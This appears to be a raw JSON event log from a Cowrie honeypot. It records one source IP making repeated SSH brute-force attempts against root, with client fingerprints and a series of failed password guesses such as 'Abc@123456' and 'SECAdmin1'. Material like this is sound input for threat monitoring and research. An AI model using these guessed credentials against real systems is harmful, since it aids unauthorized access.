{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:11.101314Z","src_ip":"60.165.124.241","session":"f28fcf9c48b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.98150420188904,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:11.467128Z","src_ip":"135.148.33.91","session":"94f7da50118a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@123456","message":"login attempt [root/Abc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:11.819892Z","src_ip":"60.165.124.241","session":"f28fcf9c48b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:13.059297Z","src_ip":"60.165.124.241","session":"f28fcf9c48b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50662,"dst_ip":"10.17.0.5","dst_port":22,"session":"9562df28bbf9","protocol":"ssh","message":"New connection: 60.165.124.241:50662 (10.17.0.5:22) [session: 9562df28bbf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:13.290978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:13.298594Z","src_ip":"60.165.124.241","session":"9562df28bbf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:13.537997Z","src_ip":"60.165.124.241","session":"9562df28bbf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pgj-heu05HQM=bMvz","message":"login attempt [root/pgj-heu05HQM=bMvz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:14.254598Z","src_ip":"60.165.124.241","session":"9562df28bbf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:15.493735Z","src_ip":"60.165.124.241","session":"9562df28bbf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53678,"dst_ip":"10.17.0.5","dst_port":22,"session":"ceccecf81b6e","protocol":"ssh","message":"New connection: 60.165.124.241:53678 (10.17.0.5:22) [session: ceccecf81b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:15.726957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:15.731676Z","src_ip":"60.165.124.241","session":"ceccecf81b6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:15.968566Z","src_ip":"60.165.124.241","session":"ceccecf81b6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:16.685941Z","src_ip":"60.165.124.241","session":"ceccecf81b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:17.926636Z","src_ip":"60.165.124.241","session":"ceccecf81b6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57004,"dst_ip":"10.17.0.5","dst_port":22,"session":"731e841aa50c","protocol":"ssh","message":"New connection: 60.165.124.241:57004 (10.17.0.5:22) [session: 731e841aa50c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:18.160368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:18.173250Z","src_ip":"60.165.124.241","session":"731e841aa50c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:18.410458Z","src_ip":"60.165.124.241","session":"731e841aa50c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"think999!","message":"login attempt [root/think999!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:19.129888Z","src_ip":"60.165.124.241","session":"731e841aa50c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:20.372948Z","src_ip":"60.165.124.241","session":"731e841aa50c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60248,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e3dd7d79994","protocol":"ssh","message":"New connection: 60.165.124.241:60248 (10.17.0.5:22) [session: 9e3dd7d79994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:20.602425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:20.607681Z","src_ip":"60.165.124.241","session":"9e3dd7d79994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:20.843362Z","src_ip":"60.165.124.241","session":"9e3dd7d79994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rzx@1218","message":"login attempt [root/rzx@1218] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:21.555435Z","src_ip":"60.165.124.241","session":"9e3dd7d79994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:22.794131Z","src_ip":"60.165.124.241","session":"9e3dd7d79994","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35464,"dst_ip":"10.17.0.5","dst_port":22,"session":"c72b76ec9077","protocol":"ssh","message":"New connection: 60.165.124.241:35464 (10.17.0.5:22) [session: c72b76ec9077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:23.029380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:23.037421Z","src_ip":"60.165.124.241","session":"c72b76ec9077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:23.274904Z","src_ip":"60.165.124.241","session":"c72b76ec9077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"SECAdmin1","message":"login attempt [root/SECAdmin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:23.994022Z","src_ip":"60.165.124.241","session":"c72b76ec9077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:25.233918Z","src_ip":"60.165.124.241","session":"c72b76ec9077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38324,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e99b403e367","protocol":"ssh","message":"New connection: 60.165.124.241:38324 (10.17.0.5:22) [session: 3e99b403e367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:25.466361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:25.471540Z","src_ip":"60.165.124.241","session":"3e99b403e367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:25.708323Z","src_ip":"60.165.124.241","session":"3e99b403e367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dopamina@1234...","message":"login attempt [root/Dopamina@1234...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:26.423554Z","src_ip":"60.165.124.241","session":"3e99b403e367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:27.661843Z","src_ip":"60.165.124.241","session":"3e99b403e367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41454,"dst_ip":"10.17.0.5","dst_port":22,"session":"14426149a20b","protocol":"ssh","message":"New connection: 60.165.124.241:41454 (10.17.0.5:22) [session: 14426149a20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:27.896970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:27.901659Z","src_ip":"60.165.124.241","session":"14426149a20b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:28.141203Z","src_ip":"60.165.124.241","session":"14426149a20b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Admin123","message":"login attempt [root/@Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:28.860733Z","src_ip":"60.165.124.241","session":"14426149a20b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:30.101269Z","src_ip":"60.165.124.241","session":"14426149a20b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45054,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e334d699220","protocol":"ssh","message":"New connection: 60.165.124.241:45054 (10.17.0.5:22) [session: 5e334d699220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:30.333491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:30.339805Z","src_ip":"60.165.124.241","session":"5e334d699220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:30.577432Z","src_ip":"60.165.124.241","session":"5e334d699220","protocol":"ssh"}
